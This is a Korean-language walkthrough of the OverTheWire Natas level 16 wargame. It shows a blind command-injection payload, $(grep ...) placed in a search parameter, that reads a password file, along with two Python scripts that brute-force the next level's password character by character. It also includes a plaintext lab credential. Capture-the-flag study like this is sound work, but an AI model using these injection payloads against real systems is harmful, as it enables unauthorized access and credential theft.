Natas Level 16 풀이
로그인
Username: natas16
URL: http://natas16.natas.labs.overthewire.org
소스코드가 익숙하다.. 찾아보니 natas9->10과 비슷한 문제처럼 보인다.
그런데 이번에는 Natas 9 to 10 에서 보다 많은 특수문자를 필터링하고 있으며,
key로 받는 입력값도 명령어에 바로 주입되지 않도록 “ “로 막아놨다.
풀이
리눅스에서는 ‘명령어’ 또는 $(명령어)를 이용하면 “” 안에 있는 문자열도 명령어로 인식한다.
‘’는 필터링에 걸리므로, $()를 이용하면 된다.
happy$(grep a /etc/natas_webpass/natas17)를 입력했을 때도 똑같이 출력된다. 
natas17 패스워드 문자열에 a가 없어서 happy를 입력했을 때와 같은 화면이 뜨는 것이다.
반면
happy$(grep b /etc/natas_webpass/natas17) 를 입력했을 때는 아무것도 뜨지 않는다. 
natas17 패스워드에 b가 있다는 뜻이다.
이 결과를 이용하여 자동화 프로그램을 쓰면 된다.
자동화 프로그램
먼저 패스워드를 이루는 문자열을 뽑는다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
from requests.auth import HTTPBasicAuth
auth = HTTPBasicAuth('natas16', 'TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V')
pw_char = ''
allchars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
for char in allchars:
r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=happy$(grep ' +
char + ' /etc/natas_webpass/natas17)', auth=auth)
if 'happy' not in r.text:
pw_char = pw_char + char
print(pw_char)
이제 출력된 문자열 bdhkmnsuvBCEHIKLRSUX1790을 하나씩 넣어서 패스워드를 조합하는 프로그램을 쓰자.
앞의 코드랑 비슷하게 쓰면 된다.
이 때 grep의 정규 표현식인 ‘^’ 를 이용한다.
정규 표현식이란 문자열의 집합을 지정하는 방법으로,
특정 규칙을 만족하는 문자열을 찾기 위해 사용된다. 따라서
happy$(grep b /etc/natas_webpass/natas17)는 ‘b’를 어디에나 포함하는 모든 줄을 찾고,
happy$(grep ^b /etc/natas_webpass/natas17)는 오직 ‘b’로 시작하는 줄만을 찾는다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from requests.auth import HTTPBasicAuth
auth = HTTPBasicAuth('natas16', 'TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V')
pw = ''
pw_char = 'bdhkmnsuvBCEHIKLRSUX1790'
for i in range(32):
for char in pw_char:
r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=happy$(grep ^' +
pw + char + ' /etc/natas_webpass/natas17)', auth=auth)
if 'happy' not in r.text:
pw = pw + char
print(pw)
break




